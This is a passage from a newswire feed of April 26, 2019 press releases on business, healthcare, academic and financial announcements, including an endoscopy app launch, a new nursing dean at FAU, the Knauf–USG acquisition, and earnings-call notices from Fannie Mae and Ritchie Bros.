district offices. Members of the press may contact Erika Monterroza or Peter Melton at (510) 286-1161, and are encouraged to subscribe to get email alerts on DIR's press releases or other departmental updates. The California Department of Industrial Relations , established in 1927, protects and improves the health, safety, and economic well-being of over 18 million wage earners, and helps their employers comply with state labor laws. DIR is housed within the Labor & Workforce Development Agency . For general inquiries, contact DIR's Call Center at 844-LABOR-DIR (844-522-6734) for help in locating the appropriate division or program in our department. https://www.facebook.com/CaliforniaDIR https://twitter.com/CA_DIR http://www.youtube.com/CaliforniaDIR http://www.dir.ca.gov/email/listsub.asp?choice=1 SOURCE California Department of Industrial Relations; California Department of Industrial Relations, Cal/OSHA Related Links http://www.dir.ca.gov/ CHICAGO, April 26, 2019 /PRNewswire/ -- EndoscopyNow LLC (EndoscopyNow) today launched its mobile application to the global GI endoscopy community. Endoscopic procedures are generally performed by gastroenterology specialists (gastroenterologists) and gastrointestinal surgeons. The EndoscopyNow application is specialty-agnostic and strives to bring all types of news, clinical data, product information and procedural insights to physicians, nurses, technologists and allied professionals with interests in gastrointestinal diseases. 'For You' customized newsfeed showing cards with available, associated content. Much like general video conferencing services, EndoscopyNow includes a Virtual Training forum, whereby popular and newly released technical training is offered by industry sponsors to the GI endoscopy community. Web events are recorded and available for on-demand playback for subscriber convenience. Leading physician/surgeon experts from around the world share best practices with their colleagues via brief (3-5 minute) modules. Topics may include new procedure techniques, updates on clinical studies, perspectives on disease management and more. Hot Topics is a particularly interesting feature where our clinical advisory board, led by Dr. Srinadh Komanduri, gastroenterologist and member of the American Foregut Society, identifies and selects prominent areas of focus among their colleagues, such as artificial intelligence, duodenoscope infections, metabolic endoscopy and more. "The richness of the resources on EndoscopyNow is something that makes us very proud. We are aggregating intelligence from PubMed and news services, providing a forum (what we call MedTech-U) for comprehensive product/service knowledge offered by industry and hosting newly created video and instructional assets from clinical experts," offers Madhu Kolavennu, EndoscopyNow CEO. "When a subscriber queries EndoscopyNow and search results are presented on something related to our clinical offerings, the program also serves up related content, such as our educational videos, product manuals or clinical resources. It's very convenient for the subscriber to find exactly what (s)he wants quickly and easily with minimal clicks," states Giovanni di Napoli, Vice President and General Manager GIH, Gastrointestinal and Hepatology at Medtronic. "EndoscopyNow is being well-received by GI endoscopists from around the world, giving us an effective and well-organized platform to integrate our broad range of endoscopy products and techniques in a meaningful way. Whether interested in Endoscopic Retrograde Cholangiopancreatography (ERCP) or Endoscopic Mucosal Resection (EMR), a subscriber can seamlessly toggle between the latest clinical data and our complementary virtual training, case studies or product information," explained Art Butcher, President, Endoscopy, Boston Scientific. All newsfeed posted and curated content is specialty-agnostic, providing resources to both gastrointestinal surgeons and gastroenterologists. "I believe EndoscopyNow is a refreshing change, in terms of aggregated intelligence in support of the total GI endoscopy community, mirroring our mission at the American Foregut Society to 'advocate personalized treatment strategies for patients with foregut disease through a collaborative partnership across disciplines,'" says founder and foregut surgeon, John C. Lipham, M.D., President, American Foregut Society. EndoscopyNow is free to subscribers and financially supported through industry sponsorship. The application is available for all mobile device platforms and can be accessed through Google Play and the iTunes App Store. About EndoscopyNow, LLC EndoscopyNow, LLC is a privately held Chicago, Illinois-based information provider company committed to supporting the timely dissemination of news, clinical data, product information and procedural insights to the GI endoscopy community. To learn more about EndoscopyNow, visit www.EndoscopyNow.com. Media Contact Lisa Bichsel EndoscopyNow, LLC Tel: +1 719-640-5640 Email: [email protected] Related Files EndoNow Subscriber Sell Sheet FINAL.pdf Related Images endoscopynow-home-screen.png EndoscopyNow Home Screen 'For You' customized newsfeed showing cards with available, associated content. endoscopynow-hot-topics.png EndoscopyNow Hot Topics Hot Topics section features curated content reviewed and assembled by our medical advisory panel. SOURCE EndoscopyNow LLC Related Links http://www.endoscopynow.com ATLANTA, April 26, 2019 /PRNewswire/ -- African-American real estate broker, mogul & CEO Tamairo Moutry, a Milwaukee, Wisconsin native has been in the real estate business since 2004, and also has a background in teaching and mortgages. She has also owned a mortgage company in the past. Tamairo has recently been appointed the new President of the NAREB for the Greater Milwaukee, Wisconsin Chapter, which has been defunct for the last 10 years. She's completing all of the paperwork and adding members to the group. NAREB is an African-American organization which seeks to help educate and empower the Black community about home ownership opportunities and programs. She has continued her best efforts by building her teams in all 3 states that she is licensed in. She now has agents in both Wisconsin and Georgia. Florida is next! Tamairo Moutry-CEO/Real Estate Broker Her main background is in teaching. She has a Bachelor's degree in Education and 18 graduate credits towards her Master's degree in Educational Leadership. For this reason, Tamairo is also a real estate instructor in the state of Wisconsin. She administers real estate education courses to current and potential real estate agents and brokers in Wisconsin. Her main niches are helping the lower-income population to buy homes. She also focuses on helping real estate investors to renovate affordable homes to revitalize the lower income communities. She comments, "As a result of these programs, this will bring jobs to those affected and promote generational wealth in the black community." Another new found love that Tamairo says she has now is new construction. She says that she enjoys walking buyers through the processes of building their dream homes from the ground up. Many are already very much looking forward to any home buying seminars and community events that Tamairo decides to plan and host in the near future. For more details about Tamairo's company, connect with her on Facebook via the following accounts: Florida www.facebook.com/floridasbestrealestate Milwaukee www.facebook.com/milwaukeesbestrealestate Georgia www.facebook.com/georgiasbestrealestate PRESS CONTACT: Tamairo Moutry [email protected] 414-939-5566 SOURCE Georgia's Best Real Estate Services WASHINGTON, April 26, 2019 /PRNewswire/ -- Fannie Mae (OTCQB: FNMA) today announced plans to report its first quarter 2019 financial results on Wednesday morning, May 1, 2019, before the opening of U.S. financial markets. Fannie Mae will host a conference call for the media to discuss the company's results at 8:00 a.m., ET, on May 1, 2019. Other participants may join the conference call in listen-only mode. The company's first quarter 2019 earnings news release, quarterly report on Form 10-Q, and other supplemental information will be available on the company's Quarterly & Annual Results webpage at fanniemae.com/financialresults. A transcript of the call also will be made available on the page. CONFERENCE CALL PARTICIPATION DETAILS Fannie Mae First Quarter 2019 Financial Results Wednesday, May 1, 2019 8:00 AM (ET) Listen-only phone line instructions: Participants must register at http://ems8.intellor.com/?p=814607&do=register&t=1 to receive an email containing instructions for listening by phone. Fannie Mae helps make the 30-year fixed-rate mortgage and affordable rental housing possible for millions of Americans. We partner with lenders to create housing opportunities for families across the country. We are driving positive changes in housing finance to make the home buying process easier, while reducing costs and risk. To learn more, visit fanniemae.com and follow us on twitter.com/fanniemae. SOURCE Fannie Mae Related Links http://www.fanniemae.com BOCA RATON, Fla., April 26, 2019 /PRNewswire/ -- Florida Atlantic University has named Safiya George, Ph.D., as the new dean of the Christine E. Lynn College of Nursing . She is only the third dean to be appointed in the college's 40-year history. George previously served as a member of the faculty at Emory University's Nell Hodgson Woodruff School of Nursing until she was recruited in 2015 to the Capstone College of Nursing at the University of Alabama , where she has served as assistant dean for research, director of the Office of Scholarly Affairs, and a member of the advisory board of the Alabama Life Research Institute. She also has served as faculty in the Honors College and faculty-in-residence for residential honors students at the University of Alabama. George will assume her role as dean effective July 8, where she will spearhead FAU's College of Nursing, which is nationally and internationally known for its excellence and philosophy of caring science. She also will oversee and build upon the college's vibrant research focus areas, which include healthy aging across the lifespan, health equity, holistic health, and transforming health care environments. The college enrolls more than 1,100 students in four nursing degree programs on campuses in Boca Raton and Davie, as well as at Harbor Branch in Fort Pierce, offering bachelor's, master's, Ph.D. and the Doctor of Nursing Practice degree programs. The college has nearly 7,000 alumni and more than two-thirds of them reside in South Florida and provide vital health care services in the region. "We are very pleased to announce the new dean of the Christine E. Lynn College of Nursing following a national search," said Bret Danilowicz , Ph.D., FAU provost and vice president for academic affairs. "We warmly welcome Dr. George to our Florida Atlantic University family to continue the college's legacy of outstanding educational programs, research, practice, and service missions. Her leadership and research productivity demonstrate the quality as well as quantity of her work and also signals her national reputation in the areas of holistic health, spirituality and HIV. We extend our deepest gratitude to Dr. Marlaine Smith for her numerous contributions and successes in her role as dean since 2011." George earned her Ph.D. and MSN degrees from Emory University and completed a postdoctoral fellowship at Duke University in religion and health. Since 2015, under her leadership, Capstone College of Nursing has experienced tremendous growth in scholarly activities, including significant increases in extramural funding. She is described as a great mentor, role model and colleague by executive leadership, faculty, staff and students at the Capstone College of Nursing. George's primary research area aims to promote the health and holistic well-being of individuals with or at risk for HIV/AIDS through evidence-based psychosocial interventions focused on social determinants of health. Her research previously has been funded by the National Institutes of Health (NIH), including the National Institutes of Nursing Research, the Georgia Department of Community Health, the John Templeton Foundation, Emory University Religion and Public Health Collaborative, the Biomedical Imaging Technology Center, and the University of Alabama. George's current work is funded by the Robert Wood Johnson Foundation, HRSA, ViiV Healthcare's Southern Initiative Positive Action program, and the NIH-funded Resource Center for Minority Aging Research. In addition, she has received a number of honors and recognitions for her work. Most recently, she received the 2019 President's Faculty Research Award at the University of Alabama in April. Her holistic approach to research also garnered her an international award in 2015 - the Daniel J. Pesut Spirit of Renewal Award. In 2017, George was elected to serve on the international board of directors for Sigma Theta Tau, the International Honor Society for Nursing, where she also has held numerous leadership roles, including chair of the International Service Taskforce, elected member of the Leadership Succession Committee and vice president of the Epsilon Omega Chapter. George is a board certified adult nurse practitioner (ANP). In 2018, she was inducted as a fellow of the American Academy of Nurse Practitioners. "I am both humbled and excited about the opportunity to join the Christine E. Lynn College of Nursing and to serve as dean. I truly look forward to working with everyone, including our phenomenal faculty, staff, students, alumni, advisory board as well as members of the community-at-large," said George. "I have a passion for people, holistic health, caring and nursing science and I believe that I can contribute to and further support the impressive initiatives and programs at the college and across the campus. I already have grown to love Florida Atlantic University and the Christine E. Lynn College of Nursing, especially the caring philosophy that transcends and represents everything about the college." The Christine E. Lynn College of Nursing is ranked No.1 in online graduate nursing programs in Florida and No. 23 in the nation by U.S. News and World Report. In 2017, with a 100 percent pass rate on the National Council Licensure Examination for Registered Nurses (NCLEX-RN(r)), FAU BSN graduates, first-time test takers, ranked among the highest (No.1) in Florida and the United States. - FAU - About Florida Atlantic University: Florida Atlantic University, established in 1961, officially opened its doors in 1964 as the fifth public university in Florida. Today, the University, with an annual economic impact of $6.3 billion, serves more than 30,000 undergraduate and graduate students at sites throughout its six-county service region in southeast Florida. FAU's world-class teaching and research faculty serves students through 10 colleges: the Dorothy F. Schmidt College of Arts and Letters, the College of Business, the College for Design and Social Inquiry, the College of Education, the College of Engineering and Computer Science, the Graduate College, the Harriet L. Wilkes Honors College, the Charles E. Schmidt College of Medicine, the Christine E. Lynn College of Nursing and the Charles E. Schmidt College of Science. FAU is ranked as a High Research Activity institution by the Carnegie Foundation for the Advancement of Teaching. The University is placing special focus on the rapid development of critical areas that form the basis of its strategic plan: Healthy aging, biotech, coastal and marine issues, neuroscience, regenerative medicine, informatics, lifespan and the environment. These areas provide opportunities for faculty and students to build upon FAU's existing strengths in research and scholarship. For more information, visit www.fau.edu . Provided by Newswise, online resource for knowledge-based news at www.newswise.com Media Contacts: Gisele Galoustian Media Relations Director, Research [email protected] Phone: 561-297-2676 Mobile: 561-985-4615 SOURCE Florida Atlantic University Related Links http://www.fau.edu SAN DIEGO, April 26, 2019 /PRNewswire/ -- Standing out in an expanding marketplace, all while streamlining care coordination, is one of the greatest challenges facing dental support organizations (DSOs) today, according to Rick Workman, DMD, Founder & Chairman of Heartland Dental, the nation's largest DSO supporting more than 1,450 dentists and more than 900 dental offices in 37 states. Dr. Workman and Brant Herman, Founder & CEO of MouthWatch, shared their perspectives as featured keynotes at the 2019 Summit of the Association of Dental Support Organizations (ADSO) recently held in San Diego, CA. Before an attentive audience of record-setting attendance, they identified teledentistry as a game changer for improving dental patients' experiences. "DSOs face a variety of challenges. Market differentiation and efficiency in oral healthcare delivery are big ones," said Dr. Workman. "Staying on the cutting edge of technology that enhances patients' experiences gives a dentist a leg up in creating lasting patient relationships. Teledentistry is a great example of this because it simplifies and streamlines care delivery. Telemedicine is where healthcare is going in general, and that progression is driving positive changes in dentistry." "Teledentistry will help DSOs by connecting practices to new patients, increasing case acceptance and improving treatment coordination, while improving the overall patient and care team experience," said Herman. "Making it easy for group practices to introduce telehealth's benefits to dental care is a key goal for MouthWatch. We've successfully implemented our TeleDent platform across a wide range of care delivery settings. Teledentistry works and creates innovative opportunities." In its 2017 Outpatient Telemedicine study, the Healthcare Information and Management Systems Society (HIMSS) estimated that 71 percent of healthcare providers had adopted telemedicine solutions, compared to 54 percent just a few years prior in 2014. Where dentistry is concerned, telemedicine platforms connect dentists to each other and to patients for real-time consultations, via live stream or video conferencing. These opportunities for collaboration lead to faster treatment plans and more efficient care delivery. The annual ADSO Summit hosts dental professionals from around the country to discuss trends in advocacy, compliance, technology, and more impacting the DSO industry. To learn more about Heartland Dental, click here. Media Contact: Adam Lueken, Corporate Communications (217) 540-5664 or [email protected] SOURCE Heartland Dental Related Links http://www.heartland.com LONG BEACH, New York and LIMA, Peru, April 26, 2019 /PRNewswire/ -- Ipsidy Inc. (www.ipsidy.com) (OTCQX: IDTY), which operates an Identity as a Service (IdaaS) platform that delivers a suite of secure, mobile, biometric identity solutions, available to any vertical and Mobile Solutions Peru SAC, (www.mobiletech.pe), a leading GPS solutions provider for the trucking industry, today announced their agreement to offer Ipsidy's suite of biometric identity and authentication solutions in the Peruvian and Chilean markets. As a member of the Ipsidy Partner Network, Mobile Solutions Peru will offer Access, Verified, Proof, and Transact by Ipsidy to financial institutions, security companies, large retail operations, telecoms and transportation companies. These solutions help transform identity across a business enterprise, working great on their own and even better together: Access by Ipsidy is an out-of-the- box, biometric identity, physical perimeter access solution. Access helps to protect any building, perimeter or event and create a safe environment by monitoring the enrolled identities of people entering any defined area. Verified by Ipsidy allows for seamless multi-factor authentication for any transaction. It offers an enterprise the ability to provide their employees and customers with a trusted, seamless and secure biometric identification experience allowing users to quickly capture a selfie to approve account logons and important transactions. Proof by Ipsidy is a remote mobile identity proofing solution that captures government-issued credentials combined with real-time biometrics. A verified identity obtained from Proof can seamlessly be used across the Ipsidy platform for future biometric, multi-factor authentication protection on a variety of account transactions. Transact by Ipsidy is a cloud-based, digital issuance and mobile payment gateway where you can design customer loyalty programs; build and manage a mobile payment network of trusted agents, merchants, and consumers; and accept and perform transactions using closed-loop payment cards online, in-store, and in-app. "We are excited to partner with Ipsidy to resell the company's suite of biometric identity solutions and be an early adopter in the Peruvian and Chilean markets to offer this technology," said Samir Barhumi of Mobile Solutions Peru. "We believe that Ipsidy's solutions will provide our clients with the highest level of identity, transaction and access authentication." Philip Beck, CEO of Ipsidy, said, "Ipsidy is pleased to partner with Mobile Solutions Peru to resell our services in Peru and Chile. Together we will offer mobile biometric identity solutions that provide the highest level of security, control and certainty for everyday transactions." About Mobile Solutions Peru Mobile Solutions Peru S.A.C. ("MSP") was established in 2010 as a sister company of PERUTRAK.COM, a leading GPS solutions provider for the fleet industry and was ultimately acquired by Guard One. Today, MSP's core business is commercializing and integrating digital mobile solutions to enterprise clients primarily in Peru, as well as in Chile and Argentina. MSP's clients and legacy relationships include financial institutions, security companies, large retail operations, telecoms and transportation companies. About Ipsidy Ipsidy Inc. (OTCQX:IDTY) www.ipsidy.com operates an Identity as a Service (IDaaS) platform that delivers a suite of secure, mobile, biometric identity solutions, available to any vertical, anywhere. In a world that is increasingly digital and mobile, our mission is to help our customers know with biometric certainty the identity of the people with whom they are engaging. We provide solutions to everyday problems: Who is applying for a loan? Who is accessing the computer system? Who is at the door? Identity creates trusted transactions. Ipsidy's solutions embed authenticated identity and event details with a digital signature and participants use their own mobile device to approve everyday transactions. Our platform delivers identity solutions that work great on their own but even better together. Ipsidy is headquartered in New York and has operating subsidiaries: MultiPay in Colombia, www.multipay.com.co; Cards Plus in South Africa, www.cardsplus.co.za; and Ipsidy Enterprises in the U.K. Further information on Ipsidy can be found at www.ipsidy.com. If you wish to join the Ipsidy partner network and resell our suite of mobile biometric solutions, contact Ipsidy at [email protected] . Notice Regarding Forward-Looking Statements Information contained in this announcement may include "forward-looking statements." All statements other than statements of historical facts included herein, including, without limitation, those regarding the financial position, business strategy, plans and objectives of management for future operations of both Ipsidy and its business partners, future sales, product and service launches with customers and new initiatives and customer pipeline are forward-looking statements. Such forward-looking statements are based on a number of assumptions regarding Ipsidy's present and future business strategies, and the environment in which Ipsidy expects to operate in the future, which assumptions may or may not be fulfilled in practice. Implementation of some or all of the new services referred to is subject to regulatory or other third party approvals. Actual results may vary materially from the results anticipated by these forward-looking statements as a result of a variety of risk factors, including the risk that implementation, adoption and offering of the service by customers, consumers and others may take longer than anticipated, or may not occur at all; changes in laws, regulations and practices; changes in domestic and international economic and political conditions and others. Additional risks may arise with respect to commencing operations in new countries and regions, of which Ipsidy is not fully aware at this time. See the Company's Annual Report Form 10-K for the Fiscal Year ended December 31, 2018 filed at www.sec.gov for other risk factors which investors should consider. These forward-looking statements speak only as to the date of this announcement and cannot be relied upon as a guide to future performance. Ipsidy expressly disclaims any obligation or undertaking to disseminate any updates or revisions to any forward-looking statements contained in this announcement to reflect any changes in its expectations with regard thereto or any change in events, conditions or circumstances on which any statement is based. Contacts: Ipsidy Inc. Matthew Cordis, Director of Business Development LATAM [email protected] Mobile Solutions Peru S.A.C. Samir Barhumi, CEO [email protected] +1 (516) 274 -8700 SOURCE Ipsidy Inc. Related Links http://www.mobiletech.pe HOUSTON, April 26, 2019 /PRNewswire/ -- KBR, Inc. (NYSE: KBR) announced today it has been awarded a support contract by the UK Ministry of Defence (UK MOD). Under the terms of the contract, which will run until 2022 (with options out until 2025), KBR will provide communications network support and deliver training services in the Middle East. "We are excited to be a part of this significant long-term project and to expand our portfolio of work with the UK MOD in the Middle East," said Stuart Bradie, KBR President and CEO. "This win is indicative of KBR's strategic commitment to growing our footprint in the government and defense sector." About KBR, Inc. KBR is a global provider of differentiated professional services and technologies across the asset and program lifecycle within the Government Services and Hydrocarbons sectors. KBR employs approximately 36,000 people worldwide (including our joint ventures), with customers in more than 75 countries, and operations in 40 countries, across three synergistic global businesses: Government Services, serving government customers globally, including capabilities that cover the full lifecycle of defense, space, aviation and other government programs and missions from research and development, through systems engineering, test and evaluation, program management, to operations, maintenance, and field logistics Technology, including proprietary technology focused on the monetization of hydrocarbons (especially natural gas and natural gas liquids) in ethylene and petrochemicals; ammonia, nitric acid and fertilizers; oil refining and gasification Hydrocarbons Services, including onshore oil and gas; LNG (liquefaction and regasification)/GTL; oil refining; petrochemicals; chemicals; fertilizers; differentiated EPC; maintenance services (Brown & Root Industrial Services); offshore oil and gas (shallow-water, deep-water, subsea); floating solutions (FPU, FPSO, FLNG & FSRU); program management and consulting services KBR is proud to work with its customers across the globe to provide technology, value-added services, integrated EPC delivery and long term operations and maintenance services to ensure consistent delivery with predictable results. At KBR, We Deliver. Visit www.kbr.com Forward Looking Statement The statements in this press release that are not historical statements, including statements regarding future financial performance, are forward-looking statements within the meaning of the federal securities laws. These statements are subject to numerous risks and uncertainties, many of which are beyond the company's control that could cause actual results to differ materially from the results expressed or implied by the statements. These risks and uncertainties include, but are not limited to: the outcome of and the publicity surrounding audits and investigations by domestic and foreign government agencies and legislative bodies; potential adverse proceedings by such agencies and potential adverse results and consequences from such proceedings; the scope and enforceability of the company's indemnities from its former parent; changes in capital spending by the company's customers; the company's ability to obtain contracts from existing and new customers and perform under those contracts; structural changes in the industries in which the company operates; escalating costs associated with and the performance of fixed-fee projects and the company's ability to control its cost under its contracts; claims negotiations and contract disputes with the company's customers; changes in the demand for or price of oil and/or natural gas; protection of intellectual property rights; compliance with environmental laws; changes in government regulations and regulatory requirements; compliance with laws related to income taxes; unsettled political conditions, war and the effects of terrorism; foreign operations and foreign exchange rates and controls; the development and installation of financial systems; increased competition for employees; the ability to successfully complete and integrate acquisitions; and operations of joint ventures, including joint ventures that are not controlled by the company. KBR's most recently filed Annual Report on Form 10-K, any subsequent Form 10-Qs and 8-Ks, and other U.S. Securities and Exchange Commission filings discuss some of the important risk factors that KBR has identified that may affect the business, results of operations and financial condition. Except as required by law, KBR undertakes no obligation to revise or update publicly any forward-looking statements for any reason. SOURCE KBR, Inc. Related Links http://www.kbr.com CALGARY, April 26, 2019 /PRNewswire/ - Representatives of Kinder Morgan, Inc. (KMI), which owns a controlling interest in Kinder Morgan Canada Limited (KML), intend to participate in investor meetings on Tuesday, April 30, 2019 in Dallas, Texas to discuss the business and affairs of KMI, which may include discussion of KML's business. Interested parties will be able to view the materials to be presented on the day of the event by visiting KML's website at https://ir.kindermorgancanadalimited.com/presentations-and-webcasts or KMI's website at: https://ir.kindermorgan.com/presentations-webcasts. About Kinder Morgan Canada Kinder Morgan Canada Limited (KML) focuses on stable, fee-based energy transportation and storage assets that are central to the energy infrastructure of Western Canada. We strive to promote shareholder value by increasing utilization of our existing assets while controlling costs and operating in a safe and environmentally responsible way. For more information, visit kindermorgancanadalimited.com. SOURCE Kinder Morgan Canada Limited Related Links https://www.kindermorgancanadalimited.com CLEVELAND, April 26, 2019 /PRNewswire/ -- On April 24, Knauf acquired USG, nearly 17 months after first announcing its interest in doing so. "Although the deal had a long gestation period, the end result is a company that will be a drywall industry giant," said Ken Long, manager of construction industry studies at the Freedonia Group. According to Long, "By combining the second and third producers globally, the acquisition significantly strengthens Knauf's competitive position in the world drywall and building plaster industry, an industry in which Saint-Gobain was previously the undisputed market leader." The transaction also considerably boosts the size of Knauf's North American business operations. The company is the largest European supplier of drywall also called gypsum board, plasterboard, and wallboard and has manufacturing operations in the Africa/Mideast region, Asia, and Central and South America. However, Knauf did not previously have a significant presence in the US drywall and plaster market, where USG is the industry leader. "The combined company will benefit from other synergies as well," said Long. Knauf and USG both manufacture ceiling products, and the merged enterprise will gain greater economies of scale by combining Knauf's European ceiling business with the US ceiling operations of USG. Knauf has also announced its intention to integrate its North American insulation division with USG's drywall, ceiling, flooring, roofing, and sheathing product businesses, making the company a leading broadline light building materials supplier in the US and Canada. Additional information on Knauf, USG, and Saint-Gobain and their competitive positions in the ceiling, drywall and plaster, and insulation industries can be found in the Freedonia studies: World Drywall and Building Plaster https://www.freedoniagroup.com/industry-study/world-drywall-building-plaster-3464.htm Ceilings https://www.freedoniagroup.com/industry-study/ceilings-market-in-the-us-by-product-market-region-and-building-type-3rd-edition-3507.htm Global Insulation https://www.freedoniagroup.com/industry-study/global-insulation-3681.htm About The Freedonia Group, a division of MarketResearch.com The Freedonia Group is a leading international industrial research company publishing more than 100 studies annually. Since 1985, we have provided research to customers ranging in size from global conglomerates to one-person consulting firms. More than 90% of the industrial companies in the Fortune 500 use Freedonia Group research to help with their strategic planning. Studies can be purchased at www.freedoniagroup.com and are also available on www.marketresearch.com and www.profound.com. Press Contact: Corinne Gangloff +1 440.684.9600 [email protected] SOURCE The Freedonia Group Related Links https://www.freedoniagroup.com TORONTO, April 26, 2019 /PRNewswire/ - Ledn Inc. ("Ledn"), Canada's largest bitcoin credit & savings company, announced today that it has signed a strategic partnership agreement with Distributed Technologies PTY Corp. ("Cryptobuyer"), to bring Ledn's bitcoin-backed loans and its upcoming interest-bearing bitcoin savings account to Cryptobuyer's client base in Latin America. Cryptobuyer is one of Latin America's leading digital asset brokerages with over 50,000 registered clients from Mexico, Colombia, Venezuela, Panama, and Argentina. The company currently runs an online brokerage, a network of ATMs and point-of-sale merchant solutions. Amongst Cryptobuyer's main clients is Traki, the largest retail store chain in Venezuela. Through the partnership, qualified Cryptobuyer users will be pre-approved for bitcoin-backed loans in dollars at North American terms and rates. Additionally, Cryptobuyer users will benefit from Ledn's highly anticipated bitcoin savings account, which will let users earn interest on their bitcoin holdings. The partnership will allow Cryptobuyer to extend Ledn's suite of financial services to its users in Latin America, allowing them to access credit and savings products at North American standards. For Ledn, the relationship furthers its mission to bring world-class savings and credit products to Latin America using bitcoin. About Ledn: Ledn provides credit and savings products that help people save in bitcoin. Its first product, bitcoin-backed loans, offers the best rates and simplest application process on the market and is designed to help investors 'hodl' their bitcoin. Applying for a Ledn loan is easy, does not affect your credit score and requires only bitcoin as collateral. Bitcoin is held securely in BitGo Trust Company's insured facility throughout the loan, and borrowers retain all benefits from any appreciation in the value of their asset. About Cryptobuyer: Cryptobuyer is a digital assets connector founded in 2015 providing simple, fast, and robust cryptocurrency solutions. The company bridges the gap between virtual currencies and day-to-day real-world interactions, through a versatile web platform with more than 50,000 registered users; a crypto Point-of-Sale system that allows any merchant to receive cryptocurrencies as payment without exposing themselves to volatility; and crypto ATMs that can be used by anyone to buy and sell cryptocurrencies frictionlessly. Cryptobuyer operates from Panama for the rest of South America and has a long list of top-level strategic alliances as well as the support of various investors including Invictus Capital , who are aggressively expanding through Argentina, Mexico, and Central America. SOURCE Ledn Inc. Related Links https://www.ledn.io/ BOSTON, April 26, 2019 /PRNewswire/ -- LifePod Solutions, the first proactive-voice caregiving service, has announced that it has won a Best of Show award in Patient-Focused Software at the 2019 Bio-IT World Conference & Expo. LifePod's development partner, Newton-based Kanda Software , submitted LifePod's Virtual Caregiver service for consideration to the awards program which recognizes the best of the innovative product solutions for life sciences on display at the annual conference in Boston. LifePod is the first proactive-voice, AI-powered, Virtual Caregiver developed with a singular goal in mind: to support and improve the quality of life for both caregivers and care recipients throughout their journey together. LifePod's customizable functionality fits the unique needs of a wide range of caregivers supporting older adults aging-in-place as well as those suffering from chronic illnesses or disabilities at home. The "proactive-voice" service is configured to engage in natural dialogs with the care recipient at specific times of the day. These interactions are easily set up by a family member or professional care provider, in accordance with a designated care plan, using LifePod's online Caregiver Portal. By speaking proactively to the care recipient, LifePod can help with adherence to health, wellness and engagement activities whether they be taking a medication, eating a nutritious meal, listening to music, or contacting a care provider in an emergency. The resulting independence makes LifePod care recipients happier, healthier and safer in their home while providing invaluable insights and peace of mind to their professional and family caregivers. "LifePod is honored to be a winner, with Kanda Software, of the Best-in-Show Award for Patient-Focused Software at the Bio-IT World Conference," said Stuart Patterson, CEO of LifePod Solutions. "Bio-IT World features next-gen technologies that leverage big data and deliver personalized healthcare to those in need, and that's exactly what we are doing with LifePod's voice-first Virtual Caregiver enabling caregivers to monitor and support their loved ones or clients in their homes while simultaneously enabling those in need of care to live happier, healthier and more connected lives." Alan Bugos, EVP, Technology and Engineering, LifePod Solutions added, "Kanda Software has been an excellent development partner with LifePod providing expertise in data-driven architectures and back-end designs to leverage LifePod's data creating near-term capabilities for reporting, data visualization, and analytics and advancing our data management capabilities for extended AI and deep learning processes." The Best of Show program relies on a panel of expert judges from academia and industry who screen eligible new products and hear presentations from finalists on site. This year, judges considered 31 new products and viewed presentations on site from 12 finalists, choosing five winners, including LifePod Solutions. About Bio-IT World Conference & Expo Since its debut in 2002, the annual Bio-IT World Conference & Expo has established itself as a premier event showcasing the myriad of IT and informatics applications and enabling technologies that drive biomedical research, drug discovery & development, and clinical and healthcare initiatives. The Bio-IT World Conference & Expo continues to be a vibrant event that unites 3,400+ life sciences, pharmaceutical, clinical, healthcare, and IT professionals from 40+ countries. For more information, visit www.bio-itworldexpo.com . About Kanda Software Kanda Software is a trusted full-service Custom Software Development, Big Data and Analytics, Quality Assurance, and DevOps partner, specializing in development, testing, and optimization of complex and time-sensitive software solutions essential to the business success of its clients. To learn more, visit www.kandasoft.com About LifePod Solutions LifePod Solutions is improving the quality of life for caregivers and their loved ones and clients by providing proactive-voice, intelligent and connected services to support aging adults as they age-in-place and those of all ages living with chronic conditions or disabilities in their homes. LifePod's intuitive voice service expands the capabilities of popular smart speakers with patent-pending technology that provides natural voice dialogs, configured and controlled by remote caregivers using an online portal. The LifePod Family Caregiver service offers proactive, voice-first check-ins and reminders, and encourages users to access other online services (e.g., music, weather, therapy, etc.) to enhance their day and help them feel more supported and connected. The LifePod team, led by veterans in virtual assistant technology, speech recognition, IoT sensors and online services for aging adults, works closely with families, professional caregivers, and senior living facilities to improve health outcomes and reduce the costs of long-term care. To learn more or sign up for the LifePod Beta Program, visit www.lifepod.com . Contact: James Alvord (617) 925-1166 [email protected] SOURCE LifePod Solutions Related Links https://lifepod.com VANCOUVER, April 26, 2019 /PRNewswire/ - Ritchie Bros. (NYSE and TSX: RBA) the world's largest industrial auctioneer and a leading equipment distributor, invites interested parties to participate in its first quarter 2019 earnings conference call, occurring on Friday, May 10, 2019 at 10:00 am Eastern time / 7:00 am Pacific time / 3:00 pm BST. During the call company executives will discuss Ritchie Bros.' earning results and answer questions from analysts and institutional investors. The Company's first quarter 2019 earnings results will be released after NYSE and TSX markets close the day prior, on May 9, 2019. Analysts and institutional investors may participate via conference call, using the following dial-in information: 1-888-231-8191 (toll-free North America) 0-800-051-7107 (toll-free UK) 1-647-427-7450 (Toronto & overseas long-distance) Please ask to participate in Ritchie Bros.' first quarter 2019 earnings call, and quote conference ID 4775167 if prompted. Media and other interested parties may listen to the conference call via webcast, by selecting the first quarter 2019 earnings call webcast link at https://investor.ritchiebros.com. Please note that there will be presentation slides accompanying the earnings call. The slides will be displayed live on the webcast, and will be available to download via the webcast player or at https://investor.ritchiebros.com/events-and-presentations the morning of the call. A replay of the conference call can be accessed after 2:00 pm Eastern time / 11:00 am Pacific time / 7:00 pm BST until June 10, 2019 at 416-849-0833 or 1-855-859-2056 (using passcode 4775167#). About Ritchie Bros. Established in 1958, Ritchie Bros. (NYSE and TSX: RBA) is a global asset management and disposition company, offering customers end-to-end solutions for buying and selling used heavy equipment, trucks and other assets. Operating in a number of sectors, including construction, transportation, agriculture, energy, oil and gas, mining, and forestry, the company's selling channels include: Ritchie Bros. Auctioneers, the world's largest industrial auctioneer offers live auction events with online bidding; IronPlanet, an online marketplace with featured weekly auctions and providing the exclusive IronClad Assurance equipment condition certification; Marketplace-E, a controlled marketplace offering multiple price and timing options; Mascus, a leading European online equipment listing service; and Ritchie Bros. Private Treaty, offering privately negotiated sales. The company's suite of multichannel sales solutions also includes RB Asset Solutions, a complete end-to-end asset management and disposition system. Ritchie Bros. also offers sector-specific solutions including GovPlanet, TruckPlanet, and Kruse Energy Auctioneers, plus equipment financing and leasing through Ritchie Bros. Financial Services. For more information about Ritchie Bros., visit RitchieBros.com. SOURCE Ritchie Bros. Auctioneers Related Links http://www.rbauction.com ATLANTA and DETROIT, April 26, 2019 /PRNewswire/ -- 